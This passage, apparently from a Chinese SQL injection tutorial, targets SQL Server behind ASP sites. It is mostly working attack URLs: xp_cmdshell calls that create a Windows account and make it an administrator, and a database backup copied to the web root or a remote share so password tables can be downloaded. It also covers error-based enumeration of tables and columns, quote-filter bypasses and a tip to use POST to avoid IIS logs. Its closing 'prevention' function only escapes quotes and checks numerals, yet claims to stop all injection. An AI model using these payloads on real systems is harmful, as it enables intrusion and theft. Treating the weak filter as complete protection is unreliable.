sqlserver是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:
① http://site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在sqlserver中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在sqlserver中將被分成兩句執行,先是select出id=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:
② http://site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。
③ http://site/url.asp?id=1 ;;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。
④ http://site/url.asp?id=1;backup database 數據庫名 to disk=’c:/inetpub/wwwroot/1.db’;--
這是相當狠的一招,從③拿到的數據庫名,加上某些iis出錯暴露出的絕對路徑,將數據庫備份到web目錄下面,再用http把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如//202.96.xx.xx/share/1.db),但成功率不高。
⑤ http://site/url.asp?id=1 ;;;and (select top 1 name from sysobjects where xtype=’u’ and status>0)>0
前面說過,sysobjects是sqlserver的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=’u’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。
⑥ http://site/url.asp?id=1 ;;;and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
以上6點是我研究sqlserver注入半年多以來的心血結晶,可以看出,對sqlserver的了解程度,直接影響著成功率及猜解速度。在我研究sqlserver注入之后,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。
第二節、繞過程序限制繼續注入
在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對sql注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。
在“sql注入的一般步驟”一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在“利用系統表注入sqlserver數據庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:
簡單的如where xtype=’u’,字符u對應的ascii碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。
第三節、經驗小結
1.有些人會過濾select、update、delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用select這樣嘗試一下。
2.在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。
3.特別注意:地址欄的+號傳入程序后解釋為空格,%2b解釋為+號,%25解釋為%號,具體可以參考urlencode的相關介紹。
4.用get方法注入時,iis會記錄你所有的提交字符串,對post方法做則不記錄,所以能用post的網址盡量不用get。
5. 猜解access時只能用ascii逐字解碼法,sqlserver也可以用這種方法,只需要兩者之間的區別即可,但是如果能用sqlserver的報錯信息把值暴露出來,那效率和準確率會有極大的提高。
第四節、防范方法
sql注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替asp中的request函數,可以對一切的sql注入say no,函數如下:
function saferequest(paraname,paratype)
'--- 傳入參數 ---
'paraname:參數名稱-字符型
'paratype:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)
dim paravalue
paravalue=request(paraname)
if paratype=1 then
if not isnumeric(paravalue) then
response.write "參數" & paraname & "必須為數字型!"
response.end
end if
else
paravalue=replace(paravalue,"'","''")
end if
saferequest=paravalue
end function
新聞熱點
疑難解答